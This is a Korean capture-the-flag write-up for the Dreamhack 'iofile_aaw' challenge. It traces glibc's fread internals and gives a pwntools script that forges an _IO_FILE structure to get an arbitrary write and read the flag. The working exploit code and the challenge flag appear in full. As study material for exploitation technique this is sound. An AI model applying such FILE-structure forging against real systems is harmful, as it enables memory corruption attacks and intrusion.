Description
Exploit Tech: _IO_FILE Arbitrary Address Write에서 실습하는 문제입니다.
checksec
seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Write$ checksec ./iofile_aaw [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/dreamhack/_IO_FILE_Arbitrary_Address_Write/iofile_aaw' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Decompiled-src
iofile_aaw.c
// Name: iofile_aaw // gcc -o iofile_aaw iofile_aaw.c -no-pie #include <stdio.h> #include <unistd.h> #include <string.h> char flag_buf[1024]; int overwrite_me; void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int read_flag() { FILE *fp; fp = fopen("/home/iofile_aaw/flag", "r"); fread(flag_buf, sizeof(char), sizeof(flag_buf), fp); write(1, flag_buf, sizeof(flag_buf)); fclose(fp); } int main() { FILE *fp; char file_buf[1024]; init(); fp = fopen("/etc/issue", "r"); printf("Data: "); read(0, fp, 300); fread(file_buf, 1, sizeof(file_buf)-1, fp); printf("%s", file_buf); if( overwrite_me == 0xDEADBEEF) read_flag(); fclose(fp); }
“/etc/issue” 파일을 읽기 모드로 읽고,
파일 포인터에 300바이트만큼의 값을 입력할 수 있다.
그렇게 읽은 “/etc/issue” 파일 내용은 지역변수인 file_buf에 저장되고, printf를 통해 출력한다.
전역변수인 overwrite_me 변수가 0xDEADBEEF일 경우, flag를 획득할 수 있다.
Solution
파일을 읽고 쓰는 과정은 라이브러리 함수 내부에서 파일 구조체의 포인터와 값을 이용하는데,
파일 구조체를 조작해서 임의의 주소에 쓸 수 있는 취약점에 대해 알아보자.
대표적으로, 파일 내용을 읽는 함수는 fread, fgets가 있고,
파일에 데이터를 쓰기 위한 함수로는 fwrite, fputs가 있다.
파일을 읽는 함수들은 라이브러리 내부에서 _IO_file_xsgetn 함수를 호출한다.
fread 함수에 대해 살펴보면,
https://github.com/bminor/glibc/blob/glibc-2.27/stdio-common/getw.c#L21
#include <stdio.h> #include <libio/iolibio.h> #define fread(p, m, n, s) _IO_fread (p, m, n, s)
https://github.com/bminor/glibc/blob/glibc-2.27/libio/iofread.c#L38
#include "libioP.h" _IO_size_t _IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp) { _IO_size_t bytes_requested = size * count; _IO_size_t bytes_read; CHECK_FILE (fp, 0); if (bytes_requested == 0) return 0; _IO_acquire_lock (fp); bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); ... }
https://github.com/bminor/glibc/blob/glibc-2.27/libio/genops.c#L429
_IO_size_t _IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n) { /* FIXME handle putback buffer here! */ return _IO_XSGETN (fp, data, n); }
https://github.com/bminor/glibc/blob/glibc-2.27/libio/libioP.h#L177
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1294
_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) { _IO_size_t want, have; _IO_ssize_t count; char *s = data; want = n; if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; } else { if (have > 0) { s = __mempcpy (s, fp->_IO_read_ptr, have); want -= have; fp->_IO_read_ptr += have; } /* Check for backup and repeat */ if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); continue; } /* If we now want less than a buffer, underflow and repeat the copy. Otherwise, _IO_SYSREAD directly to the user buffer. */ if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; } /* These must be set before the sysread as we might longjmp out waiting for input. */ _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base); /* Try to maintain alignment: read a whole number of blocks. */ count = want; if (fp->_IO_buf_base) { _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base; if (block_size >= 128) count -= want % block_size; } count = _IO_SYSREAD (fp, s, count); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN; break; } s += count; want -= count; if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); } } return n - want; } libc_hidden_def (_IO_file_xsgetn)
fread → _IO_fread → _IO_sgetn → _IO_XSGETN → _IO_file_xsgetn
이렇게 최종적으로 라이브러리 내부에서 _IO_file_xsgetn
함수를 호출하는 것을 알 수 있다.
_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) { _IO_size_t want, have; _IO_ssize_t count; char *s = data; want = n; ... /* If we now want less than a buffer, underflow and repeat the copy. Otherwise, _IO_SYSREAD directly to the user buffer. */ if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; } ... }
해당 함수는 파일 함수의 인자로 전달된 n
이 _IO_buf_end - _IO_buf_base
값보다 작은지 검사하고 __underflow()
→ _IO_new_file_underflow
함수를 호출한다.
https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L469
int _IO_new_file_underflow (_IO_FILE *fp) { _IO_ssize_t count; ... if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; ... count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); ... return *(unsigned char *) fp->_IO_read_ptr; } libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
_IO_new_file_underflow
함수는
파일 포인터의 _flags
변수에 읽기 권한이 부여됐는지 확인한다.
_IO_SYSREAD
함수의 인자로 파일 포인터와 파일 구조체의 멤버 변수를 연산한 값을 전달한다.
_IO_SYSREAD
함수는 vtable의 _IO_file_read()
로 매크로 정의를 통해 확인할 수 있다.
https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1152
_IO_ssize_t _IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size) { return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) ? __read_nocancel (fp->_fileno, buf, size) : __read (fp->_fileno, buf, size)); } libc_hidden_def (_IO_file_read)
_IO_file_read
함수에서는 read
시스템 콜을 통해 데이터를 읽는 것을 확인할 수 있다.
read(f->_fileno, _IO_buf_base, _IO_buf_end – _IO_buf_base);
정리하자면, 위와 같이 최종적으로,
read 시스템 콜 인자에는 파일 구조체에서 파일 디스크립터를 나타내는 _fileno
, _IO_buf_base
인 buf
, 그리고 _IO_buf_end - _IO_buf_base
로 연산된 size
가 전달되는 것을 알 수 있다.
이렇게 fd 변수인 _fileno
, _IO_buf_base
, _IO_buf_end
, _flags
를 적절하게 조작하여 임의의 주소에 쓰기를 수행할 수 있는 공격 방법이 _IO_FILE Arbitrary Address Write이라고 한다.
fp인 파일 구조체에 있는 필드를 조작해서,overwrite_me
변수를 0xDEADBEEF
로 조작해야 된다.
Breakpoint 1, 0x0000000000400862 in main () gdb-peda$ p *(FILE *)$rax $1 = { _flags = 0xfbad2488, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>, _fileno = 0x3, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x602340, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x602350, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\000' <repeats 19 times> }
fopen을 한 직후의 FILE 구조체를 살펴보면 위와 같다.
read(f->_fileno, _IO_buf_base, _IO_buf_end – _IO_buf_base);
위에서 언급했던 것처럼 _IO_file_read()
에서 read 시스템 콜을 호출되기 때문에,
fp를 조작할 수 있으므로 read 시스템 콜을 통해 overwrite_me
를 조작하면 된다.
_IO_buf_base
를 overwrite_me
의 주소로 조작하고, _IO_buf_end
를 overwrite_me + 1024
로 조작하면 된다.
read 함수 인자로 사용되는 size를 적절하게 조작해야되는데,
int _IO_new_file_underflow (_IO_FILE *fp) { ... if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; ... }
이러한 이유는 _IO_new_file_underflow()
에서 _IO_buf_end - _IO_buf_base
값이 fread 함수의 인자로 전달된 읽기 크기보다 커야되는 조건이 있기 때문이다.
char file_buf[1024]; ... fread(file_buf, 1, sizeof(file_buf)-1, fp);
코드를 보면,
fread 함수의 size로 1023을 사용하고 있기 때문에 더 큰 1024로 조작해야한다.
마지막으로 값을 쓰기 위해서 fileno
를 stdin을 의미하는 0으로 덮고 _flags
는 기존 값 그대로 _IO_IS_FILEBUF, _IO_TIED_PUT_GET, _IO_LINKED, _IO_NO_WRITES 의 권한을 유지한 0xfbad2488
값으로 조작하면 된다.
0xfbad2488
== _IO_MAGIC(0xfbad0000) + _IO_IS_FILEBUF(0x2000) + _IO_TIED_PU_GET(0x400) + _IO_LINKED(0x80) + _IO_NO_WRITES(0x8)
을 의미하고 쓰기를 수행하기위한 flag를 설정한 것이라고 보면 된다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote("host3.dreamhack.games", 10995) #p = process("iofile_aaw") e = ELF('./iofile_aaw', checksec=False) libc = ELF('./libc.so.6', checksec=False) overwrite_me = e.symbols['overwrite_me'] #read(stdin, overwrite_me, overwrite_me+1024 - overwrite_me) #read(0, overwrite_me, 1024) payload = p64(0xfbad2488) #_flags payload += p64(0) #_IO_read_ptr payload += p64(0) #_IO_read_end payload += p64(0) #_IO_read_base payload += p64(0) #_IO_write_base payload += p64(0) #_IO_write_ptr payload += p64(0) #_IO_write_end payload += p64(overwrite_me) #_IO_buf_base payload += p64(overwrite_me+1024) #_IO_buf_end payload += p64(0) #_IO_save_base payload += p64(0) #_IO_backup_base payload += p64(0) #_IO_save_end payload += p64(0) #_markers payload += p64(0) #_chain payload += p64(0) #_fileno (stdin) p.sendlineafter("Data: ", payload) p.sendline(p64(0xdeadbeef) + b"\x00"*1015) p.interactive()
Result
seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Write$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 10995: Done [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] Switching to interactive mode ᆳ\DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c} \x00...[*] Got EOF while reading in interactive $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 10995
FLAG
DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c}
Reference
https://keyme2003.tistory.com/entry/dreamhack-IOFILE-Arbitrary-Address-Write